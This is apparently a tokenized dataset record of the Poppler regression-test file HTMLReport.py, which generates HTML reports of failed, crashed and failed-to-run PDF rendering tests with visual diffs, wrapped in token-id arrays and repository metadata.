3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
504,
1639,
14,
5181,
492,
8686,
199,
504,
1639,
14,
697,
14,
992,
492,
510,
1121,
2367,
199,
199,
504,
3052,
29055,
14,
1095,
492,
4766,
199,
504,
3052,
29055,
14,
1095,
492,
1177,
199,
504,
3052,
29055,
14,
1095,
14,
11582,
492,
10093,
63,
4449,
199,
504,
3052,
29055,
14,
1095,
14,
1246,
492,
5822,
17345,
1181,
21902,
12,
5822,
1296,
21902,
199,
504,
3052,
29055,
14,
1095,
14,
1246,
14,
1208,
492,
664,
63,
785,
63,
269,
63,
5188,
199,
504,
3052,
29055,
14,
1095,
14,
1208,
14,
697,
492,
664,
63,
785,
63,
269,
63,
3592,
199,
199,
504,
3052,
29055,
14,
6776,
14,
12782,
14,
30192,
492,
29075,
379,
4031,
4256,
12,
29075,
1192,
21902,
4256,
199,
504,
3052,
29055,
14,
6776,
14,
5570,
14,
30192,
492,
27829,
4031,
4256,
199,
504,
3052,
29055,
14,
6776,
14,
16660,
14,
1208,
492,
6554,
63,
2923,
63,
2392,
878,
63,
475,
63,
7924,
12,
6554,
63,
374,
63,
2392,
351,
63,
475,
63,
7924,
199,
504,
3052,
29055,
14,
6776,
14,
12782,
14,
1208,
492,
6554,
63,
6821,
1192,
63,
475,
63,
7924,
12,
6554,
63,
374,
63,
22226,
63,
475,
63,
7924,
199,
199,
504,
1275,
492,
12506,
199,
504,
1275,
492,
1709,
199,
504,
1275,
492,
3443,
199,
199,
646,
2197,
421,
199,
533,
603,
18072,
21902,
8,
12114,
4031,
4256,
12,
29075,
379,
4031,
4256,
12,
5822,
17345,
1181,
21902,
304,
272,
9146,
63,
533,
275,
12506,
14,
45,
18072,
7299,
272,
4983,
63,
2888,
275,
334,
6060,
14,
45,
18072,
7980,
4258,
272,
2457,
63,
7765,
275,
334,
4273,
14,
6049,
2768,
45,
24156,
4131,
8447,
4258,
272,
2457,
63,
955,
275,
1689,
1715,
401,
298,
5938,
531,
272,
7594,
275,
1709,
14,
45,
18072,
14,
1462,
14,
452,
342,
339,
347,
769,
8,
277,
12,
1056,
12,
627,
589,
12,
1011,
958,
304,
267,
522,
275,
1613,
1252,
513,
8,
1069,
12,
627,
589,
12,
1011,
958,
9,
267,
291,
423,
525,
63,
502,
29055,
63,
815,
63,
2139,
342,
267,
372,
522,
339,
347,
485,
525,
63,
502,
29055,
63,
815,
63,
2139,
8,
277,
304,
267,
862,
26,
288,
2199,
63,
344,
275,
1109,
8,
277,
14,
1069,
14,
11938,
63,
17978,
14,
362,
480,
1715,
401,
488,
430,
288,
2199,
63,
1238,
275,
8686,
14,
362,
63,
1238,
480,
6776,
401,
298,
4761,
531,
288,
2199,
275,
664,
63,
785,
63,
269,
63,
3592,
8,
1715,
63,
1238,
12,
1305,
29,
1715,
63,
344,
9,
267,
871,
3146,
26,
288,
2199,
275,
488,
398,
340,
2199,
26,
288,
12123,
63,
77,
24156,
275,
2199,
14,
77,
24156,
14,
1541,
8,
5938,
29,
797,
680,
835,
342,
288,
6876,
63,
77,
24156,
275,
2199,
14,
77,
24156,
14,
1541,
8,
5938,
29,
549,
680,
835,
342,
953,
291,
14,
2139,
905,
22620,
29055,
13,
2354,
13,
7316,
13,
4299,
379,
13,
45,
24156,
937,
275,
12123,
63,
77,
24156,
288,
291,
14,
2139,
905,
22620,
29055,
13,
2354,
13,
7316,
13,
15190,
13,
45,
24156,
937,
275,
6876,
63,
77,
24156,
339,
347,
664,
63,
7924,
8,
277,
304,
267,
6377,
275,
1613,
1252,
362,
63,
7924,
342,
398,
327,
2876,
270,
6112,
21544,
316,
267,
2876,
25120,
275,
8686,
14,
362,
63,
1238,
480,
751,
270,
6112,
401,
298,
1899,
25120,
531,
267,
2739,
63,
6177,
275,
2876,
25120,
14,
1462,
14,
15576,
63,
2407,
480,
3756,
63,
3438,
401,
8962,
298,
3756,
63,
3438,
363,
3438,
401,
8962,
298,
3756,
63,
3438,
363,
3756,
531,
398,
2739,
63,
6177,
275,
2739,
63,
6177,
14,
2416,
63,
2407,
480,
25324,
401,
3660,
298,
1715,
401,
3660,
298,
1205,
401,
3660,
298,
4597,
401,
3660,
298,
12941,
63,
475,
401,
3660,
298,
10176,
63,
504,
63,
5237,
531,
398,
2739,
63,
6177,
275,
291,
14,
5040,
63,
6821,
1192,
63,
3288,
63,
475,
63,
7924,
8,
527,
63,
6177,
9,
398,
340,
291,
14,
1069,
14,
751,
14,
374,
63,
12177,
837,
288,
2739,
63,
6177,
275,
6554,
63,
374,
63,
2392,
351,
63,
475,
63,
7924,
8,
277,
14,
1069,
14,
751,
12,
2739,
63,
6177,
9,
288,
2739,
63,
6177,
275,
6554,
63,
374,
63,
22226,
63,
475,
63,
7924,
8,
277,
14,
1069,
14,
751,
12,
2739,
63,
6177,
9,
398,
6377,
275,
6377,
14,
15576,
63,
2407,
8,
18441,
2367,
480,
751,
63,
270,
6112,
401,
7594,
29,
527,
63,
6177,
430,
398,
327,
603,
24156,
21544,
316,
267,
6377,
275,
6377,
14,
2416,
63,
2407,
480,
1715,
401,
298,
4597,
531,
267,
6377,
275,
291,
14,
5040,
63,
6821,
1192,
63,
3288,
63,
475,
63,
7924,
8,
6177,
9,
398,
6377,
275,
6377,
14,
1648,
63,
991,
6096,
597,
12754,
63,
928,
531,
267,
372,
6377,
339,
347,
876,
63,
2117,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
miyabe/poppler
|
regtest/HTMLReport.py
|
2
|
12193
|
# HTMLReport.py
#
# Copyright (C) 2012 Carlos Garcia Campos <carlosgc@gnome.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
from __future__ import absolute_import, division, print_function
from backends import get_backend, get_all_backends
from Config import Config
import os
import errno
import subprocess
class HTMLPrettyDiff:
def write(self, test, outdir, actual, expected, diff):
raise NotImplementedError
def _create_diff_for_test(self, outdir, test):
diffdir = os.path.join(outdir, 'html', test)
try:
os.makedirs(diffdir)
except OSError as e:
if e.errno != errno.EEXIST:
raise
except:
raise
return diffdir
class HTMLPrettyDiffImage(HTMLPrettyDiff):
def write(self, test, outdir, result, actual, expected, diff):
def get_relative_path(path):
return '../' * len(path.split('/')) + path
html = """
<html>
<head>
<title>%s</title>
<style>.label{font-weight:bold}</style>
</head>
<body>
Difference between images: <a href="%s">diff</a><br>
<div class=imageText></div>
<div class=imageContainer
actual="%s"
expected="%s">Loading...</div>
<script>
(function() {
var preloadedImageCount = 0;
function preloadComplete() {
++preloadedImageCount;
if (preloadedImageCount < 2)
return;
toggleImages();
setInterval(toggleImages, 2000)
}
function preloadImage(url) {
image = new Image();
image.addEventListener('load', preloadComplete);
image.src = url;
return image;
}
function toggleImages() {
if (text.textContent == 'Expected Image') {
text.textContent = 'Actual Image';
container.replaceChild(actualImage, container.firstChild);
} else {
text.textContent = 'Expected Image';
container.replaceChild(expectedImage, container.firstChild);
}
}
var text = document.querySelector('.imageText');
var container = document.querySelector('.imageContainer');
var actualImage = preloadImage(container.getAttribute('actual'));
var expectedImage = preloadImage(container.getAttribute('expected'));
})();
</script>
</body>
</html>
""" % (test, get_relative_path(diff), get_relative_path(actual), expected)
diffdir = self._create_diff_for_test(outdir, test)
pretty_diff_name = result + '-pretty-diff.html'
pretty_diff = os.path.abspath(os.path.join(diffdir, pretty_diff_name))
f = open(pretty_diff, 'w')
f.write(html)
f.close()
return os.path.join(test, pretty_diff_name)
class HTMLPrettyDiffText(HTMLPrettyDiff):
def write(self, test, outdir, result, actual, expected, diff):
import difflib
actual_file = open(os.path.join(outdir, actual), 'r')
expected_file = open(expected, 'r')
html = difflib.HtmlDiff().make_file(actual_file.readlines(),
expected_file.readlines(),
"Actual", "Expected", context=True)
actual_file.close()
expected_file.close()
diffdir = self._create_diff_for_test(outdir, test)
pretty_diff_name = result + '-pretty-diff.html'
pretty_diff = os.path.abspath(os.path.join(diffdir, pretty_diff_name))
f = open(pretty_diff, 'w')
f.write(html)
f.close()
return os.path.join(test, pretty_diff_name)
def create_pretty_diff(backend):
if backend.get_diff_ext() == '.diff.png':
return HTMLPrettyDiffImage()
# Disable pretty diff for Text files for now, since HtmlDiff().make_file() is
# entering in an infinite loop with some files. We need to either fix that somehow or
# find a different way to generate pretty diffs of text files.
#if backend.get_diff_ext() == '.diff':
# return HTMLPrettyDiffText()
return None
class BackendTestResult:
def __init__(self, test, refsdir, outdir, backend, results):
self._test = test
self._refsdir = refsdir
self._outdir = outdir
self._backend = backend
self.config = Config()
self._results = []
ref_path = os.path.join(self._refsdir, self._test)
if not backend.has_md5(ref_path):
return
ref_names = backend.get_ref_names(ref_path)
for result in results:
basename = os.path.basename(result)
if basename in ref_names:
self._results.append(basename)
def is_failed(self):
return len(self._results) > 0
def is_crashed(self):
return self._backend.is_crashed(os.path.join(self._outdir, self._test))
def is_failed_to_run(self):
return self._backend.is_failed(os.path.join(self._outdir, self._test))
def get_stderr(self):
return self._backend.get_stderr(os.path.join(self._outdir, self._test))
def get_failed_html(self):
html = ""
for result in self._results:
actual = os.path.join(self._test, result)
actual_path = os.path.join(self._outdir, actual)
expected = os.path.join(self._refsdir, self._test, result)
if self.config.abs_paths:
expected = os.path.abspath(expected)
html += "<li><a href='../%s'>actual</a> <a href='%s'>expected</a> " % (actual, expected)
if self._backend.has_diff(actual_path):
diff = actual + self._backend.get_diff_ext()
html += "<a href='../%s'>diff</a> " % (diff)
if self.config.pretty_diff:
pretty_diff = create_pretty_diff(self._backend)
if pretty_diff:
html += "<a href='%s'>pretty diff</a> " % (pretty_diff.write (self._test, self._outdir, result, actual, expected, diff))
html += "</li>\n"
if html:
return "<ul>%s</ul>\n" % (html)
return ""
class TestResult:
def __init__(self, docsdir, refsdir, outdir, resultdir, results, backends):
self._refsdir = refsdir
self._outdir = outdir
self.config = Config()
self._test = resultdir[len(self._outdir):].lstrip('/')
self._doc = os.path.join(docsdir, self._test)
self._results = {}
for backend in backends:
ref_path = os.path.join(self._refsdir, self._test)
if not backend.has_md5(ref_path) and not backend.is_crashed(ref_path) and not backend.is_failed(ref_path):
continue
self._results[backend] = BackendTestResult(self._test, refsdir, outdir, backend, results)
def get_test(self):
return self._test
def is_failed(self):
for backend in self._results:
if self._results[backend].is_failed():
return True
return False;
def get_failed_html(self):
html = ""
for backend in self._results:
if self._results[backend].is_crashed() or self._results[backend].is_failed_to_run():
continue
backend_html = self._results[backend].get_failed_html()
if not backend_html:
continue
html += "<li>%s " % (backend.get_name())
stderr = self._results[backend].get_stderr()
if os.path.exists(stderr):
stderr_name = stderr[len(self._outdir):].lstrip('/')
html += "<a href='../%s'>stderr</a>" % (stderr_name)
html += "</li>\n%s" % (backend_html)
if html:
return "<h2><a name='%s'><a href='%s'>%s</a></a></h2>\n<ul>%s</ul><a href='#top'>Top</a>\n" % (self._test, self._doc, self._test, html)
return ""
def get_crashed_html(self):
html = ""
for backend in self._results:
if not self._results[backend].is_crashed():
continue
html += "<li><a href='%s'>%s</a> (%s)</li>\n" % (self._doc, self._test, backend.get_name())
if html:
return "<ul>%s</ul>\n" % (html)
return ""
def get_failed_to_run_html(self):
html = ""
for backend in self._results:
status = self._results[backend].is_failed_to_run()
if not status:
continue
html += "<li><a href='%s'>%s</a> [Status: %d] (%s)</li>\n" % (self._doc, self._test, status, backend.get_name())
if html:
return "<ul>%s</ul>\n" % (html)
return ""
class HTMLReport:
def __init__(self, docsdir, refsdir, outdir):
self._docsdir = docsdir
self._refsdir = refsdir
self._outdir = outdir
self._htmldir = os.path.join(outdir, 'html')
self.config = Config()
try:
os.makedirs(self._htmldir)
except OSError as e:
if e.errno != errno.EEXIST:
raise
except:
raise
def create(self, launch_browser):
html = "<html><body><a name='top'></a>"
if os.path.exists(os.path.join(self._outdir, '.exited_early')):
html += "<p style='border: 3px solid red; font-weight: bold; display: inline-block; padding: 3px'>Testing exited early</p>"
if self.config.backends:
backends = [get_backend(name) for name in self.config.backends]
else:
backends = get_all_backends()
results = {}
for root, dirs, files in os.walk(self._outdir, False):
if not files:
continue
if not root.lower().endswith('.pdf'):
continue
if root.startswith(self._htmldir):
continue
results[root] = TestResult(self._docsdir, self._refsdir, self._outdir, root, files, backends)
failed_anchors = []
failed = ""
crashed = ""
failed_to_run = ""
for test_name, test in sorted(results.items()):
if test.is_failed():
failed_anchors.append(test.get_test())
failed += test.get_failed_html()
crashed += test.get_crashed_html()
failed_to_run += test.get_failed_to_run_html()
if failed:
failed = "<h1><a name='failed'>Tests Failed (differences were found)</name></h1>\n%s" % (failed)
if crashed:
crashed = "<h1><a name='crashed'>Tests Crashed</a></h1>\n%s" % (crashed)
if failed_to_run:
failed_to_run = "<h1><a name='failed_to_run'>Tests that failed to run (command returned an error status)</a></h1>\n%s" % (failed_to_run)
if failed or crashed or failed_to_run:
html += "<ul>\n"
if failed:
html += "<li><a href='#failed'>Tests Failed (differences were found)</a></li>\n<ul>"
for anchor in failed_anchors:
html += "<li><a href='#%s'>%s</a></li>" % (anchor, anchor)
html += "</ul>\n"
if crashed:
html += "<li><a href='#crashed'>Tests Crashed</a></li>\n"
if failed_to_run:
html += "<li><a href='#failed_to_run'>Tests that failed to run (command returned an error status)</a></li>\n"
html += "</ul>\n"
html += failed + crashed + failed_to_run + "</body></html>"
report_index = os.path.join(self._htmldir, 'index.html')
with open(report_index, 'w') as f:
f.write(html)
if launch_browser:
subprocess.Popen(['xdg-open', report_index])
|
gpl-2.0
|
[
3,
4163,
7457,
14,
647,
199,
3,
199,
3,
1898,
334,
35,
9,
6029,
14243,
11560,
598,
285,
16521,
24569,
736,
665,
7007,
320,
1226,
67,
32,
784,
1377,
14,
1308,
30,
199,
3,
199,
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8155,
15630,
10902,
12,
14453,
13540,
12,
8226,
12,
4828,
221,
15673,
13,
13421,
221,
8217,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
199,
504,
14745,
492,
664,
63,
4620,
12,
664,
63,
452,
63,
7765,
199,
504,
4094,
492,
4094,
199,
646,
747,
199,
646,
7554,
199,
646,
3873,
199,
199,
533,
4163,
27153,
10746,
26,
339,
347,
2218,
8,
277,
12,
511,
12,
24670,
12,
3503,
12,
1420,
12,
3915,
304,
267,
746,
4279,
339,
347,
485,
981,
63,
3028,
63,
509,
63,
396,
8,
277,
12,
24670,
12,
511,
304,
267,
3915,
694,
275,
747,
14,
515,
14,
904,
8,
18091,
12,
283,
1360,
297,
511,
9,
267,
862,
26,
288,
747,
14,
8347,
8,
3028,
694,
9,
267,
871,
6440,
465,
325,
26,
288,
340,
325,
14,
7931,
1137,
7554,
14,
28596,
26,
355,
746,
267,
871,
26,
288,
746,
267,
372,
3915,
694,
199,
199,
533,
4163,
27153,
10746,
3491,
8,
4943,
27153,
10746,
304,
339,
347,
2218,
8,
277,
12,
511,
12,
24670,
12,
754,
12,
3503,
12,
1420,
12,
3915,
304,
267,
347,
664,
63,
6188,
63,
515,
8,
515,
304,
288,
372,
11541,
4805,
627,
822,
8,
515,
14,
1294,
28684,
435,
931,
398,
3517,
275,
408,
199,
28,
1360,
30,
199,
28,
2993,
30,
199,
28,
1213,
6598,
83,
1108,
1213,
30,
199,
28,
2487,
10827,
1302,
91,
4246,
13,
3463,
26,
9771,
17890,
2487,
30,
199,
1108,
2993,
30,
199,
28,
2030,
30,
199,
32279,
3382,
5935,
26,
665,
65,
4369,
5961,
83,
1743,
3028,
1108,
65,
2535,
3289,
30,
199,
28,
3015,
1021,
29,
1569,
1872,
2957,
3015,
30,
199,
28,
3015,
1021,
29,
1569,
4076,
1362,
3503,
5961,
83,
2,
1362,
1420,
5961,
83,
1743,
19236,
1396,
1108,
3015,
30,
199,
28,
1579,
30,
199,
8,
1593,
342,
469,
272,
2729,
876,
4591,
3491,
2353,
275,
378,
27,
272,
805,
32511,
14175,
342,
469,
267,
32629,
657,
4591,
3491,
2353,
27,
267,
340,
334,
657,
4591,
3491,
2353,
665,
499,
9,
288,
372,
27,
267,
19420,
18882,
7303,
267,
663,
8227,
8,
13396,
18882,
12,
12293,
9,
272,
789,
339,
805,
32511,
3491,
8,
633,
9,
469,
267,
1834,
275,
892,
6047,
7303,
267,
1834,
14,
525,
2390,
10464,
360,
912,
297,
32511,
14175,
2736,
267,
1834,
14,
2164,
275,
1166,
27,
267,
372,
1834,
27,
272,
789,
339,
805,
19420,
18882,
342,
469,
267,
340,
334,
505,
14,
505,
2714,
508,
283,
6964,
6047,
358,
469,
288,
1318,
14,
505,
2714,
275,
283,
30141,
6047,
13619,
288,
3970,
14,
1814,
3493,
8,
6514,
3491,
12,
3970,
14,
22262,
2736,
267,
789,
587,
469,
288,
1318,
14,
505,
2714,
275,
283,
6964,
6047,
13619,
288,
3970,
14,
1814,
3493,
8,
2062,
3491,
12,
3970,
14,
22262,
2736,
267,
789,
272,
789,
339,
2729,
1318,
275,
2213,
14,
1131,
11212,
5175,
1569,
1872,
11339,
272,
2729,
3970,
275,
2213,
14,
1131,
11212,
5175,
1569,
4076,
11339,
272,
2729,
3503,
3491,
275,
32511,
3491,
8,
3600,
14,
12956,
360,
6514,
1333,
27,
272,
2729,
1420,
3491,
275,
32511,
3491,
8,
3600,
14,
12956,
360,
2062,
1333,
27,
199,
1552,
7303,
199,
1108,
1579,
30,
199,
1108,
2030,
30,
199,
1108,
1360,
30,
199,
624,
450,
334,
396,
12,
664,
63,
6188,
63,
515,
8,
3028,
395,
664,
63,
6188,
63,
515,
8,
6514,
395,
1420,
9,
398,
3915,
694,
275,
291,
423,
981,
63,
3028,
63,
509,
63,
396,
8,
18091,
12,
511,
9,
267,
7268,
63,
3028,
63,
354,
275,
754,
435,
2475,
9118,
13,
3028,
14,
1360,
7,
267,
7268,
63,
3028,
275,
747,
14,
515,
14,
4832,
8,
736,
14,
515,
14,
904,
8,
3028,
694,
12,
7268,
63,
3028,
63,
354,
430,
267,
289,
275,
1551,
8,
9118,
63,
3028,
12,
283,
87,
358,
267,
289,
14,
952,
8,
1360,
9,
267,
289,
14,
1600,
342,
398,
372,
747,
14,
515,
14,
904,
8,
396,
12,
7268,
63,
3028,
63,
354,
9,
199,
199,
533,
4163,
27153,
10746,
1872,
8,
4943,
27153,
10746,
304,
272,
347,
2218,
8,
277,
12,
511,
12,
24670,
12,
754,
12,
3503,
12,
1420,
12,
3915,
304,
267,
492,
27070,
398,
3503,
63,
493,
275,
1551,
8,
736,
14,
515,
14,
904,
8,
18091,
12,
3503,
395,
283,
82,
358,
267,
1420,
63,
493,
275,
1551,
8,
2062,
12,
283,
82,
358,
267,
3517,
275,
27070,
14,
12957,
10746,
1252,
1875,
63,
493,
8,
6514,
63,
493,
14,
9684,
1062,
4490,
1420,
63,
493,
14,
9684,
1062,
4490,
298,
30141,
401,
298,
6964,
401,
1067,
29,
549,
9,
267,
3503,
63,
493,
14,
1600,
342,
267,
1420,
63,
493,
14,
1600,
342,
398,
3915,
694,
275,
291,
423,
981,
63,
3028,
63,
509,
63,
396,
8,
18091,
12,
511,
9,
267,
7268,
63,
3028,
63,
354,
275,
754,
435,
2475,
9118,
13,
3028,
14,
1360,
7,
267,
7268,
63,
3028,
275,
747,
14,
515,
14,
4832,
8,
736,
14,
515,
14,
904,
8,
3028,
694,
12,
7268,
63,
3028,
63,
354,
430,
267,
289,
275
] |
[
4163,
7457,
14,
647,
199,
3,
199,
3,
1898,
334,
35,
9,
6029,
14243,
11560,
598,
285,
16521,
24569,
736,
665,
7007,
320,
1226,
67,
32,
784,
1377,
14,
1308,
30,
199,
3,
199,
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8155,
15630,
10902,
12,
14453,
13540,
12,
8226,
12,
4828,
221,
15673,
13,
13421,
221,
8217,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
199,
504,
14745,
492,
664,
63,
4620,
12,
664,
63,
452,
63,
7765,
199,
504,
4094,
492,
4094,
199,
646,
747,
199,
646,
7554,
199,
646,
3873,
199,
199,
533,
4163,
27153,
10746,
26,
339,
347,
2218,
8,
277,
12,
511,
12,
24670,
12,
3503,
12,
1420,
12,
3915,
304,
267,
746,
4279,
339,
347,
485,
981,
63,
3028,
63,
509,
63,
396,
8,
277,
12,
24670,
12,
511,
304,
267,
3915,
694,
275,
747,
14,
515,
14,
904,
8,
18091,
12,
283,
1360,
297,
511,
9,
267,
862,
26,
288,
747,
14,
8347,
8,
3028,
694,
9,
267,
871,
6440,
465,
325,
26,
288,
340,
325,
14,
7931,
1137,
7554,
14,
28596,
26,
355,
746,
267,
871,
26,
288,
746,
267,
372,
3915,
694,
199,
199,
533,
4163,
27153,
10746,
3491,
8,
4943,
27153,
10746,
304,
339,
347,
2218,
8,
277,
12,
511,
12,
24670,
12,
754,
12,
3503,
12,
1420,
12,
3915,
304,
267,
347,
664,
63,
6188,
63,
515,
8,
515,
304,
288,
372,
11541,
4805,
627,
822,
8,
515,
14,
1294,
28684,
435,
931,
398,
3517,
275,
408,
199,
28,
1360,
30,
199,
28,
2993,
30,
199,
28,
1213,
6598,
83,
1108,
1213,
30,
199,
28,
2487,
10827,
1302,
91,
4246,
13,
3463,
26,
9771,
17890,
2487,
30,
199,
1108,
2993,
30,
199,
28,
2030,
30,
199,
32279,
3382,
5935,
26,
665,
65,
4369,
5961,
83,
1743,
3028,
1108,
65,
2535,
3289,
30,
199,
28,
3015,
1021,
29,
1569,
1872,
2957,
3015,
30,
199,
28,
3015,
1021,
29,
1569,
4076,
1362,
3503,
5961,
83,
2,
1362,
1420,
5961,
83,
1743,
19236,
1396,
1108,
3015,
30,
199,
28,
1579,
30,
199,
8,
1593,
342,
469,
272,
2729,
876,
4591,
3491,
2353,
275,
378,
27,
272,
805,
32511,
14175,
342,
469,
267,
32629,
657,
4591,
3491,
2353,
27,
267,
340,
334,
657,
4591,
3491,
2353,
665,
499,
9,
288,
372,
27,
267,
19420,
18882,
7303,
267,
663,
8227,
8,
13396,
18882,
12,
12293,
9,
272,
789,
339,
805,
32511,
3491,
8,
633,
9,
469,
267,
1834,
275,
892,
6047,
7303,
267,
1834,
14,
525,
2390,
10464,
360,
912,
297,
32511,
14175,
2736,
267,
1834,
14,
2164,
275,
1166,
27,
267,
372,
1834,
27,
272,
789,
339,
805,
19420,
18882,
342,
469,
267,
340,
334,
505,
14,
505,
2714,
508,
283,
6964,
6047,
358,
469,
288,
1318,
14,
505,
2714,
275,
283,
30141,
6047,
13619,
288,
3970,
14,
1814,
3493,
8,
6514,
3491,
12,
3970,
14,
22262,
2736,
267,
789,
587,
469,
288,
1318,
14,
505,
2714,
275,
283,
6964,
6047,
13619,
288,
3970,
14,
1814,
3493,
8,
2062,
3491,
12,
3970,
14,
22262,
2736,
267,
789,
272,
789,
339,
2729,
1318,
275,
2213,
14,
1131,
11212,
5175,
1569,
1872,
11339,
272,
2729,
3970,
275,
2213,
14,
1131,
11212,
5175,
1569,
4076,
11339,
272,
2729,
3503,
3491,
275,
32511,
3491,
8,
3600,
14,
12956,
360,
6514,
1333,
27,
272,
2729,
1420,
3491,
275,
32511,
3491,
8,
3600,
14,
12956,
360,
2062,
1333,
27,
199,
1552,
7303,
199,
1108,
1579,
30,
199,
1108,
2030,
30,
199,
1108,
1360,
30,
199,
624,
450,
334,
396,
12,
664,
63,
6188,
63,
515,
8,
3028,
395,
664,
63,
6188,
63,
515,
8,
6514,
395,
1420,
9,
398,
3915,
694,
275,
291,
423,
981,
63,
3028,
63,
509,
63,
396,
8,
18091,
12,
511,
9,
267,
7268,
63,
3028,
63,
354,
275,
754,
435,
2475,
9118,
13,
3028,
14,
1360,
7,
267,
7268,
63,
3028,
275,
747,
14,
515,
14,
4832,
8,
736,
14,
515,
14,
904,
8,
3028,
694,
12,
7268,
63,
3028,
63,
354,
430,
267,
289,
275,
1551,
8,
9118,
63,
3028,
12,
283,
87,
358,
267,
289,
14,
952,
8,
1360,
9,
267,
289,
14,
1600,
342,
398,
372,
747,
14,
515,
14,
904,
8,
396,
12,
7268,
63,
3028,
63,
354,
9,
199,
199,
533,
4163,
27153,
10746,
1872,
8,
4943,
27153,
10746,
304,
272,
347,
2218,
8,
277,
12,
511,
12,
24670,
12,
754,
12,
3503,
12,
1420,
12,
3915,
304,
267,
492,
27070,
398,
3503,
63,
493,
275,
1551,
8,
736,
14,
515,
14,
904,
8,
18091,
12,
3503,
395,
283,
82,
358,
267,
1420,
63,
493,
275,
1551,
8,
2062,
12,
283,
82,
358,
267,
3517,
275,
27070,
14,
12957,
10746,
1252,
1875,
63,
493,
8,
6514,
63,
493,
14,
9684,
1062,
4490,
1420,
63,
493,
14,
9684,
1062,
4490,
298,
30141,
401,
298,
6964,
401,
1067,
29,
549,
9,
267,
3503,
63,
493,
14,
1600,
342,
267,
1420,
63,
493,
14,
1600,
342,
398,
3915,
694,
275,
291,
423,
981,
63,
3028,
63,
509,
63,
396,
8,
18091,
12,
511,
9,
267,
7268,
63,
3028,
63,
354,
275,
